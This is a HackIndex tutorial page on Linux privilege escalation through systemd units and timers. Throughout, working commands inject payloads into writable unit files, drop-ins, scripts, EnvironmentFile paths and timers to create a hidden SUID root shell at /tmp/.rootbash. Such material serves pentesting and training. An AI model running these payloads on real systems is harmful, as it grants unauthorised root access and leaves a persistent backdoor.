Skip to content
HackIndex logo

HackIndex

Systemd Unit and Timer Privilege Escalation

2 min read Jul 14, 2026

Systemd service and timer units define what runs, when, and as which user. Writable unit files, drop-in directories, EnvironmentFile paths, executable scripts, and working directories are all exploitable when a service runs as root. Timers are cron replacements and follow the same abuse patterns.

Prerequisites Check

List active timers — these are scheduled execution paths worth targeting:

┌──(kali㉿kali)-[~]
└─$ systemctl list-timers --all

List all running services and their users:

┌──(kali㉿kali)-[~]
└─$ systemctl list-units --type=service --state=running
ps aux | grep -v "^root" | head -5
ps aux | grep "^root" | grep -v "\[" | head -20

Find writable unit files across all systemd directories:

┌──(kali㉿kali)-[~]
└─$ find /etc/systemd/system /lib/systemd/system /usr/lib/systemd/system \
-type f \( -name "*.service" -o -name "*.timer" \) -writable 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Also check drop-in directories
┌──(kali㉿kali)-[~]
└─$ find /etc/systemd/system -type d -name "*.d" -writable 2>/dev/null

Units in /etc/systemd/system/ override system defaults and are the most common target. Units in /lib/systemd/system/ are package-managed but occasionally writable.

Inspect a Target Unit

Before exploiting, read the full resolved unit configuration including inherited settings:

┌──(kali㉿kali)-[~]
└─$ systemctl show backup.service
systemctl cat backup.service

systemctl cat shows the active file. systemctl show shows all resolved values including defaults. Key fields to identify attack surface:

  • ExecStart= — main execution path

  • ExecStartPre= / ExecStartPost= — pre/post hooks

  • ExecReload= — reload hook, triggered by systemctl reload

  • WorkingDirectory= — if writable, relative paths in the script are exploitable

  • EnvironmentFile= — if writable, inject environment variables

  • User= — confirms if it runs as root

Writable Service File — Direct Modification

If you can write to the .service file directly:

┌──(kali㉿kali)-[~]
└─$ ls -la /etc/systemd/system/backup.service
getfacl -p /etc/systemd/system/backup.service 2>/dev/null

Replace or append an ExecStart:

/etc/systemd/system/backup.service

[Unit]
Description=Backup Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/.rootbash && chmod u+s /tmp/.rootbash'
User=root

[Install]
WantedBy=multi-user.target
┌──(kali㉿kali)-[~]
└─$ systemctl daemon-reload
┌──(kali㉿kali)-[~]
└─$ systemctl restart backup.service
┌──(kali㉿kali)-[~]
└─$ /tmp/.rootbash -p

If systemctl daemon-reload requires privilege you do not have, wait for the service to restart naturally (reboot, scheduled trigger) or check if the existing ExecStart path is writable instead.

Writable Drop-in Directory

Drop-in files override specific settings of the parent unit. If a .service.d/ directory is writable:

┌──(kali㉿kali)-[~]
└─$ ls -ld /etc/systemd/system/backup.service.d/ 2>/dev/null

Create an override that replaces the ExecStart. The empty ExecStart= line clears the original before redefining:

┌──(kali㉿kali)-[~]
└─$ mkdir -p /etc/systemd/system/backup.service.d/
┌──(kali㉿kali)-[~]
└─$ cat > /etc/systemd/system/backup.service.d/override.conf << 'EOF'
[Service]
ExecStart=
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/.rootbash && chmod u+s /tmp/.rootbash'
EOF
 
┌──(kali㉿kali)-[~]
└─$ systemctl daemon-reload
┌──(kali㉿kali)-[~]
└─$ systemctl restart backup.service
┌──(kali㉿kali)-[~]
└─$ /tmp/.rootbash -p

Writable ExecStart Script

The most common scenario — the unit file is root-owned but the script it calls is writable:

┌──(kali㉿kali)-[~]
└─$ # Read the unit to find the script path
┌──(kali㉿kali)-[~]
└─$ systemctl cat backup.service | grep Exec
 
┌──(kali㉿kali)-[~]
└─$ # Check the script's permissions
┌──(kali㉿kali)-[~]
└─$ ls -la /opt/scripts/backup.sh
┌──(kali㉿kali)-[~]
└─$ getfacl -p /opt/scripts/backup.sh 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # If writable, append payload
┌──(kali㉿kali)-[~]
└─$ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /opt/scripts/backup.sh

Wait for the service to run next (check with systemctl status backup.service for the last run time and schedule), or trigger it if you have permission:

┌──(kali㉿kali)-[~]
└─$ systemctl start backup.service
┌──(kali㉿kali)-[~]
└─$ /tmp/.rootbash -p

ExecStartPre and ExecStartPost

Pre and post hooks run as the same user as the main service. If these paths are writable they are equivalent to ExecStart:

┌──(kali㉿kali)-[~]
└─$ # Check for pre/post hooks
┌──(kali㉿kali)-[~]
└─$ systemctl show backup.service | grep -E "ExecStartPre|ExecStartPost|ExecReload"
 
┌──(kali㉿kali)-[~]
└─$ # Verify writability
┌──(kali㉿kali)-[~]
└─$ ls -la /path/to/prehook.sh

Also check ExecReload — triggered by systemctl reload, which may be permitted for your user even if restart is not.

Writable WorkingDirectory

If WorkingDirectory is set and writable, any relative path execution in the service script is exploitable:

┌──(kali㉿kali)-[~]
└─$ systemctl show backup.service | grep WorkingDirectory
┌──(kali㉿kali)-[~]
└─$ # e.g. WorkingDirectory=/opt/app
 
┌──(kali㉿kali)-[~]
└─$ ls -ld /opt/app

If writable and the service calls ./run.sh or similar relative path:

┌──(kali㉿kali)-[~]
└─$ echo '#!/bin/sh' > /opt/app/run.sh
┌──(kali㉿kali)-[~]
└─$ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /opt/app/run.sh
┌──(kali㉿kali)-[~]
└─$ chmod +x /opt/app/run.sh

See https://hackindex.io/platforms/linux/privilege-escalation/writable-path-hijacking for the general PATH hijacking technique.

Writable EnvironmentFile

If a service loads environment variables from a file and that file is writable, inject a PATH entry or other variables the service script uses:

┌──(kali㉿kali)-[~]
└─$ # Find EnvironmentFile paths
┌──(kali㉿kali)-[~]
└─$ systemctl show backup.service | grep EnvironmentFile
┌──(kali㉿kali)-[~]
└─$ # e.g. EnvironmentFile=/etc/backup/backup.env
 
┌──(kali㉿kali)-[~]
└─$ # Check writability
┌──(kali㉿kali)-[~]
└─$ ls -la /etc/backup/backup.env
 
┌──(kali㉿kali)-[~]
└─$ # If writable, inject PATH to point to a directory you control
┌──(kali㉿kali)-[~]
└─$ echo 'PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin' >> /etc/backup/backup.env

Then plant your malicious binary in /tmp with the same name as an unqualified command the service calls.

Timers — Scheduled Execution

Timers trigger services on a schedule. Target the .timer file to control timing, the associated .service to control what runs. List all timers with next run time:

┌──(kali㉿kali)-[~]
└─$ systemctl list-timers --all

Check the associated service for each timer:

┌──(kali㉿kali)-[~]
└─$ systemctl cat logrotate.timer
┌──(kali㉿kali)-[~]
└─$ # Note: Unit=logrotate.service
 
┌──(kali㉿kali)-[~]
└─$ systemctl cat logrotate.service
┌──(kali㉿kali)-[~]
└─$ # Note ExecStart path

Apply any of the above techniques to the associated .service file. If the .timer file itself is writable, you can change the schedule to fire immediately:

/etc/systemd/system/logrotate.timer

[Unit]
Description=Trigger immediately

[Timer]
OnBootSec=5
OnUnitActiveSec=30

[Install]
WantedBy=timers.target
┌──(kali㉿kali)-[~]
└─$ systemctl daemon-reload

For cron-based scheduled execution abuse see https://hackindex.io/platforms/linux/privilege-escalation/cron-job-privilege-escalation.

systemctl edit (if Permitted via sudo/polkit)

Some systems allow non-root users to edit units via sudo or Polkit. If sudo -l shows systemctl:

┌──(kali㉿kali)-[~]
└─$ sudo systemctl edit backup.service

This opens a drop-in editor automatically. Add:

[Service]
ExecStart=
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/.rootbash && chmod u+s /tmp/.rootbash'

Save and exit. The drop-in is written to /etc/systemd/system/backup.service.d/override.conf automatically.

Check sudo permissions for systemctl specifically at https://hackindex.io/platforms/linux/privilege-escalation/sudo-misconfiguration.

References